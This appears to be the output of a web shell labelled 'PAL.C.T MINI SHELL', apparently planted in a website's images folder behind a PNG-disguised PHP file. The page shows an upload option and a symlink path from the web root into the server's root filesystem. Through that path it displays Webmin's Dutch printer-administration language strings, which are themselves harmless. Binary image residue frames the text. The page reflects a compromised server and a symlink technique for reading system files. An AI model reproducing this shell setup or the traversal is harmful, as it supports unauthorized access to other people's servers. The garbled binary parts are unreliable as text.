php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/lpadmin/lang/nl

index_title=Printer Administratie
index_header=Beschikbare printers
index_name=Printer
index_desc=Omschrijving
index_to=Print naar
index_driver=Stuurprogramma
index_enabled=Ingeschakeld?
index_accepting=Accepteert opdrachten?
index_jobs=Taken
index_none=Geen printers op dit systeem geïnstalleerd
index_list=Lijst..
index_jlist=Taken..
index_jcount=$1 taken..
index_add=Voeg een nieuwe printer toe
index_stop=Stop Taakplanner
index_stopmsg=Klik op deze knop om de printer taakplanner te stoppen. Daardoor zullen gebruikers (lokaal en op afstand) niet meer kunnen printen op dit systeem.
index_start=Start Taakplanner
index_startmsg=Klik op deze knop om de printer taakplanner te starten. Daardoor zullen gebruikers (lokaal en op afstand) kunnen printen op dit systeem.
index_restart=Herstart Taakplanner
index_restartmsg=Klik op deze knop om de printer scheduler te herstarten. Daardoor wordt de huidige afdruk configuratie van kracht.
index_return=printer lijst
index_esystem=Installeer de software voor uw gekozen afdruk systeem, of gebruik de <a href='$1'>module configuratie</a> om het systeem te wijzigen.
index_style=Print systeem : $1
index_cluster=Cluster Servers
index_clusterdesc=Klik op deze knop om meer Webmin servers in te stellen waarop printers zullen worden aangemaakt, bijgewerkt en verwijderd.
index_delete=Verwijder Geselecteerde Printers

style_solaris=Solaris
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=U bent niet bevoegd om printers te bewerken
edit_eadd=U bent niet bevoegd om printers toe te voegen
edit_add=Printer Toevoegen
edit_edit=Printer Bewerken
edit_conf=Printer Configuratie
edit_name=Naam
edit_acc=Accepteert opdrachten?
edit_why=Nee - Waarom niet
edit_desc=Omschrijving
edit_ena=Afdrukken ingeschakeld?
edit_acl=Toegangs controle
edit_allow=Laat iedereen toe
edit_deny=Iedereen weigeren
edit_allowu=Geselecteerde gebruikers toestaan..
edit_denyu=Geselecteerde gebruikers weigeren ..
edit_banner=Scheidingsblad afdrukken?
edit_opt=Optioneel
edit_default=Standaard printer?
edit_already=Dit is reeds de standaard printer
edit_max=Max grootte print taak
edit_unlimited=Onbeperkt
edit_dacc=Driver accepteert
edit_dtext=Tekst
edit_dpost=Postscript
edit_dother=Overige
edit_alt=Alternatieve printer namen
edit_dest=Afdruk Bestemming
edit_dev=Lokaal apparaat
edit_file=Lokaal bestand
edit_remote=Externe Unix server
edit_rqueue=Printer
edit_type=Type
edit_smb=Externe Windows server
edit_share=Printer
edit_user=Gebruiker
edit_pass=Wachtwoord
edit_wgroup=Werkgroep
edit_hpnp=Externe HPNP server
edit_port=Poort
edit_direct=Directe TCP verbinding
edit_dport=Poort
edit_driver=Printer Stuurprogramma
edit_check=Controleren of externe server actief is?

blocks=blokken

save_err=Fout bij het opslaan van printer
save_eadd=U bent niet bevoegd printers toe te voegen
save_eedit=U bent niet bevoegd deze printer te wijzigen
save_ename='$1' is geen geldige printer naam
save_edup=Er bestaat al een printer met de naam '$1'
save_eallow=Geen toegestane gebruikers opgegeven
save_edeny=Geen te weigeren gebruikers opgegeven
save_euser=Gebruiker '$1' bestaat niet
save_etype=U moet ten minste één door dit stuurprogramma te accepteren type selecteren
save_emax=Max grootte printtaak moet een geheel getal zijn
save_efile='$1' bestaat niet
save_erhost=Externe host '$1' bestaat niet
save_erport=Poort '$1' is niet geldig
save_erqueue='$1' is geen geldige naam van een externe wachtrij
save_eremote=Stuurprogramma's  kunnen niet gebruikt worden bij externe Unix printers
save_edhost=Directe host '$1' bestaat niet
save_edport=Ontbrekende of ongeldige directe poort
save_evalid=Het afdruk systeem weigerde deze printer
save_errslave=Printer succesvol aangemaakt op dit systeem, echter de volgende fouten deden zich voor op cluster systemen: $1
save_egone=Geen printer met de naam '$1' gevonden
save_errdelslave=Printer succesvol verwijderd van dit systeem, echter de volgende fouten deden zich voor op cluster systemen: $1

jobs_title=Afdruktaken
jobs_header=Afdruktaken op $1
jobs_id=Taak ID
jobs_size=Grootte
jobs_by=Opdracht van
jobs_when=Aangeleverd om
jobs_file=Bestandsnaam
jobs_cancel=Klik op een taak ID van bovenstaande lijst om te onderbreken.
jobs_cancelview=Klik op een taak ID van bovenstaande lijst om te onderbreken, of klik op de taak grootte om het te bekijken.
jobs_none=Geen print taken op $1
jobs_all=Annuleer alle afdruk taken
jobs_bytes=bytes
jobs_test=Print Test Pagina
jobs_cancelsel=Annuleer Geselecteerde Printopdrachten
jobs_on=Op printer $1
jobs_return=Lijst met printopdrachten

cancel_ecannot=U bent niet bevoegd om afdruktaken af te breken
cancel_err=Afbreken afdruktaak is mislukt
cancel_egone=Afdruktaak $1 bestaat niet meer

view_ecannot=U bent niet bevoegd om deze afdruktaak te bekijken
view_egone=Deze afdruktaak bestaat niet meer

start_ecannot=U bent niet bevoegd de taakplanner te starten
start_err=Fout bij het starten van de taakplanner

stop_ecannot=U bent niet bevoegd de taakplanner te stoppen
stop_err=Fout bij het stoppen van de taakplanner

restart_ecannot=U bent niet bevoegd de taakplanner te herstarten
restart_err=Fout bij het herstarten van taakplanner

webmin_none=Geen
webmin_nonemsg=Postscript of tekst printer
webmin_remotemsg=Externe printer
webmin_model=Model
webmin_prog=Programma
webmin_driver=Webmin stuurprogramma
webmin_uniprint=Uniprint stuurprogramma
webmin_edrivers=Kon het stuurprogramma van $1 niet vinden. Webmin printer stuurprogramma's op basis van ghostscript zijn niet beschikbaar
webmin_egs=De opdracht $1 is niet gevonden. Webmin printer drivers op basis van ghostscript zijn niet beschikbaar
webmin_edriver='$1' bestaat niet

caldera_none=Geen
caldera_nonemsg=Printer op afstand of raw printer
caldera_prog=Programma
caldera_coas=COAS driver
caldera_printer=Printer en resolutie
caldera_eof=EOF versturen?
caldera_paper=Papier afmetingen
caldera_double=Dubbelzijdig afdrukken?
caldera_gsopts=Extra GS opties
caldera_uniprint=Uniprint driver
caldera_eprog='$1' bestaat niet
caldera_edriver=Geen printer driver geselecteerd
caldera_eres=Geen resolutie geselecteerd

redhat_none=Geen
redhat_nonemsg=Postscript of tekst printer
redhat_prog=Programma
redhat_driver=Redhat driver
redhat_printer=Printer en resolutie
redhat_eof=EOF versturen?
redhat_paper=Papier afmetingen
redhat_pages=Pagina's per resultaten pagina
redhat_gsopts=Extra GS opties
redhat_hmargin=Linker/rechter marge
redhat_vmargin=Boven/onder marge
redhat_crlf=Fiksen 'stair-stepping' tekst?
redhat_eprog='$1' bestaat niet
redhat_edriver=Geen printer driver geselecteerd
redhat_ehmargin=Ontbrekende of ongeldige linker/rechter marge
redhat_evmargin=Ontbrekende of ongeldige boven/onder marge
redhat_eres=Geen resolutie geselecteerd
redhat_printer2=Printer model en stuurprogramma

suse_none=Geen
suse_nonemsg=Postscript of tekst printer
suse_prog=Programma
suse_driver=APSfilter driver
suse_printer=Printer type
suse_res=Resolutie in DPI
suse_colour=Kleuren printer?
suse_paper=Papier afmetingen
suse_method=Filter methode
suse_auto=Automatisch
suse_ascii=ASCII
suse_raw=Raw
suse_extra=Extra ghostscript opties
suse_yast2=YAST2 driver
suse_edriver=Geen printer type geselecteerd
suse_eres=Ontbrekende of ongeldige resolutie

estop=Fout bij het stoppen van lpd: $1

acl_printers=Printers die deze gebruiker mag configureren
acl_add=Mag nieuwe printers toevoegen?
acl_cancel=Mag afdruktaken afbreken?
acl_stop=Mag de taakplanner stoppen of starten?
acl_restart=Alleen herstarten
acl_listed=Alleen geselecteerde printers ..
acl_pall=Alle printers
acl_psel=Geselecteerde ..
acl_view=Niet-instelbare printers weergeven?
acl_test=Mag test pagina's afdrukken?
acl_user=Beheer taken die eigendom zijn van
acl_user_all=Alle gebruikers
acl_user_this=Huidige Webmin gebruiker
acl_delete=Mag printers verwijderen
acl_cluster=Mag printer clusters beheren?

log_stop=Print taakplanner gestopt
log_start=Print taakplanner gestart
log_restart=Print taakplanner herstart
log_cancel_job=Afdruktaak $2 op $1 geannuleerd
log_cancel_all=Alle afdruktaken op $1 zijn geannuleerd
log_cancel_sel=Geannuleerd $2 printopdrachten op $1
log_create=Printer $1 aangemaakt op $2
log_modify=Printer $1 op $2 gewijzigd
log_delete=Printer $1 verwijderd op $2
log_create_l=$3 printer $1 aangemaakt op $2
log_modify_l=$3 printer $1 op $2 gewijzigd
log_delete_l=$3 printer $1 op $2 verwijderd

linux_paralel=Parallelle Poort $1
linux_serial=Seriële Poort $1 (COM $1)
linux_null=Null Apparaat
linux_usb=USB printer $1
linux_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het Linux afdruk systeem niet is geinstalleerd.
linux_espool=De spool directory $1 is niet aanwezig op uw systeem, dit geeft aan dat het Linux afdruk systeem niet is geinstalleerd.

freebsd_paralel=Parallelle Poort
freebsd_serial=Seriële Poort $1 (COM $1)
freebsd_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het FreeBSD afdruk systeem niet is geinstalleerd.
freebsd_espool=De spool directory $1 is niet aanwezig op uw systeem, dit geeft aan dat het FreeBSD afdruk systeem niet is geinstalleerd.

openbsd_paralel=Parallelle Poort
openbsd_serial=Seriële Poort $1 (COM $1)

unixware_paralel=Parallelle Poort $1
unixware_serial=Seriële Poort $1
unixware_null=Null Apparaat
unixware_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het UnixWare afdruk systeem niet is geinstalleerd.

hpux_paralel=Parallel $1
hpux_serial=Seriële Poort $1
hpux_null=Null Apparaat
hpux_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het HPUX afdruk systeem niet is geinstalleerd.
hpux_eiface=De interface scripts directory $1 is niet aanwezig op uw systeem, dit geeft aan dat het HPUX afdruk systeem niet is geinstalleerd.

lprng_paralel=Parallelle Poort $1
lprng_serial=Seriële Poort $1 (COM $1)
lprng_null=Null Device
lprng_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het LPRng afdruk systeem niet is geinstalleerd.
lprng_espool=De spool directory $1 is niet aanwezig op uw systeem, dit geeft aan dat het LPRng afdruk systeem niet is geinstalleerd.

solaris_paralel=Parallelle Poort
solaris_uparalel=Ultra 5/10 Parallelle Poort
solaris_serial=Seriële Poort $1
solaris_null=Null Apparaat
solaris_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het Solaris afdruk systeem niet is geinstalleerd.

test_title=Print Test Pagina
test_ecannot=U bent niet bevoegd om een test pagina af te drukken
test_desc=Met dit formulier kunt u een test pagina afdrukken op printer $1. Selecteer het type test pagina dat u wilt printen :
test_0=Zwart/wit Postscript pagina
test_1=Kleuren Postscript pagina
test_2=Platte ASCII tekst
test_3=Een geupload bestand
test_print=Print pagina
test_exec=Afdrukken test pagina met opdracht $1 ..
test_failed=.. opdracht mislukt!
test_ok=.. opdracht beëindigd.

cups_none=Geen
cups_nonemsg=Externe of raw printer
cups_prog=Programma
cups_driver=CUPS driver
cups_eprog='$1' is geen geldig programma
cups_opts=Opties voor $1
cups_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het CUPS afdruk systeem niet is geinstalleerd.

irix_ecmd=De opdracht $1 kon niet worden gevonden op uw systeem, dit geeft aan dat het IRIX afdruk systeem niet is geinstalleerd.
irix_eiface=De interface scripts directory $1 is niet aanwezig op uw systeem, dit geeft aan dat het IRIX afdruk systeem niet is geinstalleerd.

aix_port=Printer poort $1
aix_edesc=Ongeldige omschrijving - Alleen letters en cijfers zijn toegestaan, geen spaties
aix_ecmd=De AIX printer server $1 kon niet worden gevonden. Het is wellicht niet geinstalleerd, of er is een ander afdruk systeem in gebruik.

cluster_title=Cluster Printer Servers
cluster_none=Er zijn nog geen servers toegevoegd aan de printer cluster.
cluster_host=Hostnaam
cluster_desc=Omschrijving
cluster_os=Besturing systeem
cluster_add=Server toevoegen
cluster_gadd=Servers toevoegen aan groep
cluster_need=U moet servers met login en wachtwoord toevoegen in de Webmin Server Index module voordat deze hier kunnen worden beheerd.
cluster_return=cluster servers
cluster_delete=Selectie Verwijderen
cluster_ecannot=U bent niet bevoegd om cluster printer servers te beheren

add_title=Servers Toevoegen
add_msg=Toevoegen van $1 ..
add_gmsg=Toevoegen van servers aan groep $1 ..
add_err=Fout bij het toevoegen van server
add_gerr=Fout bij het toevoegen van groep
add_echeck=De Printer Administratie module is niet geinstalleerd op server $1
add_ediff=Server $1 maakt gebruik van een ander afdruk systeem ($2) dan deze server
add_ediff2=Server $1 maakt gebruik van een andere printer driver ($2) dan deze server
add_ok=$1 toegevoegd met $2 printers.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`